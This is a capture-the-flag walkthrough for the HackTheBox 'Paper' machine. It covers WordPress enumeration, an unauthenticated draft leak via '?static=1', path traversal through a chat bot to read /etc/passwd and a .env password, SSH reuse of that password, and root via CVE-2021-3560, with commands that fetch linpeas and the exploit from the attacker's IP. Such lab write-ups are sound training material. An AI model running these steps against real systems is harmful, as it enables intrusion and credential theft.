Buy me a tea

Hackthebox - Paper

  • Linux

Paper

Nmap

Gobuster

changed my /etc/hosts file and added

Used a bigger wordlist

  • Let's try subdomain enumeration

We add this to /etc/hosts

Wordpress

  • We have a wordpress. From looking at it we can see that we have a user called prisonmike and a user called nick.

  • We have an interesting comment mentioning secrets in drafts Comment

WPScan

This way we find a third user creedthoughts

  • We can try to bruteforce login. Let's put all three users in a file

  • Let's generate a wordlist with cewl using the website first and if it does not work we can use rockyou cewl http://office.paper/ > pass.txt => Not working with the generated wordlist from cewl =>

  • There is a theme file with a readme that is quite bugging let's investigate with our google fu => nothing

  • Let's investigate this hint about the draft maybe it has unauthicated access

    • It seems to be it here is an article about this

    • According to this we just need to add static=1 to the url http://office.paper/?static=1

    • It works!!

  • this leak a secret registration url, we need to add this to our /etc/hosts 10.10.11.143 chat.office.paper

  • This way we can register on the chat http://chat.office.paper/register/8qozr226AhkCHZdyY

We get access to the chat and there is something about a bot that can list files

  • If we sent private msg to it the cmd seems to work

  • When we try recyclops file /etc/passwd we get

  • but this works recyclops file ../../../etc/passwd

  • We can also list files using recyclops list

  • We can enumerate some elements, we do not have access to the user.txt and the.ssh is empty, however we notice a .env file in the hubot folder

  • Let's try to connect to ssh using the password we found.

  • It works! We can grab the user flag

Privesc

  • Let`s have a look at ways to privesc using linpeas

    • wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

    • python3 -m http.server 80

    • And then you can wget from the target, chmod +x and run it

  • We see that there is a CVE-2021-3560 and PATH abuse that have a 95% privesc capacity image image

  • Let's first try with the CVE and get this exploit in our kali

  • Let's get it on our target wget http://10.10.16.4/CVE-2021-3560.py

  • Let's use it python3 CVE-2021-3560.py we can see from the output of the script that a new user has been created so we basically just have to type su ahmed and then sudo su

  • It works! We are root we can now cat /root/root.txt

PreviousHackthebox - OptimumNextHackthebox - Photobomb

Last updated